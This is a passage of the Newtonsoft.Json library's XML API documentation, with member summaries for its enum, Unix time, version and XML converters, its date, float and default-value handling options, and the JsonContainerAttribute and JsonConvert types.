name=\"M:Newtonsoft.Json.Converters.RegexConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.RegexConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.StringEnumConverter\">\n            <summary>\n            Converts an <see cref=\"T:System.Enum\"/> to and from its name string value.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.CamelCaseText\">\n            <summary>\n            Gets or sets a value indicating whether the written enum text should be camel case.\n            The default value is <c>false</c>.\n            </summary>\n            <value><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.NamingStrategy\">\n            <summary>\n            Gets or sets the naming strategy used to resolve how enum text is written.\n            </summary>\n            <value>The naming strategy used to resolve how enum text is written.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.StringEnumConverter.AllowIntegerValues\">\n            <summary>\n            Gets or sets a value indicating whether integer values are allowed when serializing and deserializing.\n            The default value is <c>true</c>.\n            </summary>\n            <value><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"camelCaseText\"><c>true</c> if the written enum text will be camel case; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(Newtonsoft.Json.Serialization.NamingStrategy,System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategy\">The naming strategy used to resolve how enum text is written.</param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.#ctor(System.Type,System.Object[],System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Converters.StringEnumConverter\"/> class.\n            </summary>\n            <param name=\"namingStrategyType\">The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> used to write enum text.</param>\n            <param name=\"namingStrategyParameters\">\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <paramref name=\"namingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </param>\n            <param name=\"allowIntegerValues\"><c>true</c> if integers are allowed when serializing and deserializing; otherwise, <c>false</c>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.StringEnumConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            <c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.UnixDateTimeConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.DateTime\"/> to and from Unix epoch time\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.UnixDateTimeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.VersionConverter\">\n            <summary>\n            Converts a <see cref=\"T:System.Version\"/> to and from a string (e.g. <c>\"1.2.3.4\"</c>).\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing property value of the JSON that is being converted.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.VersionConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Converters.XmlNodeConverter\">\n            <summary>\n            Converts XML to and from JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.DeserializeRootElementName\">\n            <summary>\n            Gets or sets the name of the root element to insert when deserializing to XML if the JSON structure has produced multiple root elements.\n            </summary>\n            <value>The name of the deserialized root element.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.WriteArrayAttribute\">\n            <summary>\n            Gets or sets a value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </summary>\n            <value><c>true</c> if the array attribute is written to the XML; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.OmitRootObject\">\n            <summary>\n            Gets or sets a value indicating whether to write the root JSON object.\n            </summary>\n            <value><c>true</c> if the JSON root object is omitted; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Converters.XmlNodeConverter.EncodeSpecialCharacters\">\n            <summary>\n            Gets or sets a value indicating whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </summary>\n            <value><c>true</c> if special characters are encoded; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.IsNamespaceAttribute(System.String,System.String@)\">\n            <summary>\n            Checks if the <paramref name=\"attributeName\"/> is a namespace attribute.\n            </summary>\n            <param name=\"attributeName\">Attribute name to test.</param>\n            <param name=\"prefix\">The attribute name prefix if it has one, otherwise an empty string.</param>\n            <returns><c>true</c> if attribute name is for a namespace attribute, otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Converters.XmlNodeConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified value type.\n            </summary>\n            <param name=\"valueType\">Type of the value.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified value type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateFormatHandling\">\n            <summary>\n            Specifies how dates are formatted when writing JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.IsoDateFormat\">\n            <summary>\n            Dates are written in the ISO 8601 format, e.g. <c>\"2012-03-21T05:40Z\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateFormatHandling.MicrosoftDateFormat\">\n            <summary>\n            Dates are written in the Microsoft JSON format, e.g. <c>\"\\/Date(1198908717056)\\/\"</c>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateParseHandling\">\n            <summary>\n            Specifies how date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.None\">\n            <summary>\n            Date formatted strings are not parsed to a date type and are read as strings.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateParseHandling.DateTime\">\n            <summary>\n            Date formatted strings, e.g. <c>\"\\/Date(1198908717056)\\/\"</c> and <c>\"2012-03-21T05:40Z\"</c>, are parsed to <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DateTimeZoneHandling\">\n            <summary>\n            Specifies how to treat the time value when converting between string and <see cref=\"T:System.DateTime\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Local\">\n            <summary>\n            Treat as local time. If the <see cref=\"T:System.DateTime\"/> object represents a Coordinated Universal Time (UTC), it is converted to the local time.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Utc\">\n            <summary>\n            Treat as a UTC. If the <see cref=\"T:System.DateTime\"/> object represents a local time, it is converted to a UTC.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.Unspecified\">\n            <summary>\n            Treat as a local time if a <see cref=\"T:System.DateTime\"/> is being converted to a string.\n            If a string is being converted to <see cref=\"T:System.DateTime\"/>, convert to a local time if a time zone is specified.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DateTimeZoneHandling.RoundtripKind\">\n            <summary>\n            Time zone information should be preserved when converting.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultJsonNameTable\">\n            <summary>\n            The default JSON name table implementation.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.DefaultJsonNameTable\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.DefaultJsonNameTable.Add(System.String)\">\n            <summary>\n            Adds the specified string into name table.\n            </summary>\n            <param name=\"key\">The string to add.</param>\n            <remarks>This method is not thread-safe.</remarks>\n            <returns>The resolved string.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.DefaultValueHandling\">\n            <summary>\n            Specifies default value handling options for the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/>.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingObject\" title=\"DefaultValueHandling Class\" />\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"ReducingSerializedJsonSizeDefaultValueHandlingExample\" title=\"DefaultValueHandling Ignore Example\" />\n            </example>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Include\">\n            <summary>\n            Include members where the member value is the same as the member's default value when serializing objects.\n            Included members are written to JSON. Has no effect when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Ignore\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            so that it is not written to JSON.\n            This option will ignore all default values (e.g. <c>null</c> for objects and nullable types; <c>0</c> for integers,\n            decimals and floating point numbers; and <c>false</c> for booleans). The default value ignored can be changed by\n            placing the <see cref=\"T:System.ComponentModel.DefaultValueAttribute\"/> on the property.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.Populate\">\n            <summary>\n            Members with a default value but no JSON will be set to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.DefaultValueHandling.IgnoreAndPopulate\">\n            <summary>\n            Ignore members where the member value is the same as the member's default value when serializing objects\n            and set members to their default value when deserializing.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatFormatHandling\">\n            <summary>\n            Specifies float format handling options when writing special floating point numbers, e.g. <see cref=\"F:System.Double.NaN\"/>,\n            <see cref=\"F:System.Double.PositiveInfinity\"/> and <see cref=\"F:System.Double.NegativeInfinity\"/> with <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.String\">\n            <summary>\n            Write special floating point values as strings in JSON, e.g. <c>\"NaN\"</c>, <c>\"Infinity\"</c>, <c>\"-Infinity\"</c>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.Symbol\">\n            <summary>\n            Write special floating point values as symbols in JSON, e.g. <c>NaN</c>, <c>Infinity</c>, <c>-Infinity</c>.\n            Note that this will produce non-valid JSON.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatFormatHandling.DefaultValue\">\n            <summary>\n            Write special floating point values as the property's default value in JSON, e.g. 0.0 for a <see cref=\"T:System.Double\"/> property, <c>null</c> for a <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/> property.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.FloatParseHandling\">\n            <summary>\n            Specifies how floating point numbers, e.g. 1.0 and 9.9, are parsed when reading JSON text.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Double\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Double\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\">\n            <summary>\n            Floating point numbers are parsed to <see cref=\"F:Newtonsoft.Json.FloatParseHandling.Decimal\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Formatting\">\n            <summary>\n            Specifies formatting options for the <see cref=\"T:Newtonsoft.Json.JsonTextWriter\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.None\">\n            <summary>\n            No special formatting is applied. This is the default.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.Formatting.Indented\">\n            <summary>\n            Causes child objects to be indented according to the <see cref=\"P:Newtonsoft.Json.JsonTextWriter.Indentation\"/> and <see cref=\"P:Newtonsoft.Json.JsonTextWriter.IndentChar\"/> settings.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IArrayPool`1\">\n            <summary>\n            Provides an interface for using pooled arrays.\n            </summary>\n            <typeparam name=\"T\">The array type content.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Rent(System.Int32)\">\n            <summary>\n            Rent an array from the pool. This array must be returned when it is no longer needed.\n            </summary>\n            <param name=\"minimumLength\">The minimum required length of the array. The returned array may be longer.</param>\n            <returns>The rented array from the pool. This array must be returned when it is no longer needed.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IArrayPool`1.Return(`0[])\">\n            <summary>\n            Return an array to the pool.\n            </summary>\n            <param name=\"array\">The array that is being returned.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.IJsonLineInfo\">\n            <summary>\n            Provides an interface to enable a class to return line and position information.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\">\n            <summary>\n            Gets a value indicating whether the class can return line information.\n            </summary>\n            <returns>\n            \t<c>true</c> if <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\"/> and <see cref=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\"/> can be provided; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LineNumber\">\n            <summary>\n            Gets the current line number.\n            </summary>\n            <value>The current line number or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.IJsonLineInfo.LinePosition\">\n            <summary>\n            Gets the current line position.\n            </summary>\n            <value>The current line position or 0 if no line information is available (for example, when <see cref=\"M:Newtonsoft.Json.IJsonLineInfo.HasLineInfo\"/> returns <c>false</c>).</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonArrayAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonArrayAttribute.AllowNullItems\">\n            <summary>\n            Gets or sets a value indicating whether null items are allowed in the collection.\n            </summary>\n            <value><c>true</c> if null items are allowed in the collection; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.Boolean)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with a flag indicating whether the array can contain null items.\n            </summary>\n            <param name=\"allowNullItems\">A flag indicating whether the array can contain null items.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonArrayAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonArrayAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConstructorAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified constructor when deserializing that object.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonContainerAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Id\">\n            <summary>\n            Gets or sets the id.\n            </summary>\n            <value>The id.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Title\">\n            <summary>\n            Gets or sets the title.\n            </summary>\n            <value>The title.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.Description\">\n            <summary>\n            Gets or sets the description.\n            </summary>\n            <value>The description.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the collection's items converter.\n            </summary>\n            <value>The collection's items converter.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonContainerAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonContainer(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.IsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve object references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep object reference; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemIsReference\">\n            <summary>\n            Gets or sets a value that indicates whether to preserve collection's items references.\n            </summary>\n            <value>\n            \t<c>true</c> to keep collection's items object references; otherwise, <c>false</c>. The default is <c>false</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing the collection's items.\n            </summary>\n            <value>The reference loop handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonContainerAttribute.ItemTypeNameHandling\">\n            <summary>\n            Gets or sets the type name handling used when serializing the collection's items.\n            </summary>\n            <value>The type name handling.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonContainerAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonContainerAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConvert\">\n            <summary>\n            Provides methods for converting between .NET types and JSON types.\n            </summary>\n            <example>\n              <code lang=\"cs\" source=\"..\\Src\\Newtonsoft.Json.Tests\\Documentation\\SerializationTests.cs\" region=\"SerializeObject\" title=\"Serializing and Deserializing JSON with JsonConvert\" />\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConvert.DefaultSettings\">\n            <summary>\n            Gets or sets a function that creates default <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            Default settings are automatically used by serialization methods on <see cref=\"T:Newtonsoft.Json.JsonConvert\"/>,\n            and <see cref=\"M:Newtonsoft.Json.Linq.JToken.ToObject``1\"/> and <see cref=\"M:Newtonsoft.Json.Linq.JToken.FromObject(System.Object)\"/> on <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            To serialize without using any default settings create a <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> with\n            <see cref=\"M:Newtonsoft.Json.JsonSerializer.Create\"/>.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.True\">\n            <summary>\n            Represents JavaScript's boolean value <c>true</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.False\">\n            <summary>\n            Represents JavaScript's boolean value <c>false</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Null\">\n            <summary>\n            Represents JavaScript's <c>null</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.Undefined\">\n            <summary>\n            Represents JavaScript's <c>undefined</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.PositiveInfinity\">\n            <summary>\n            Represents JavaScript's positive infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NegativeInfinity\">\n            <summary>\n            Represents JavaScript's negative infinity as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"F:Newtonsoft.Json.JsonConvert.NaN\">\n            <summary>\n            Represents JavaScript's <c>NaN</c> as a string. This field is read-only.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.ToString(System.DateTime)\">\n            <summary>\n            Converts the <see cref=\"T:System.DateTime\"/> to its JSON string representation.\n            </summary>\n            <param name=\"value\">The value to convert.</param>\n            <returns>A JSON string representation of the <see cref=\"T:System.DateTime\"/>.</returns>\n        </member>\n        <member 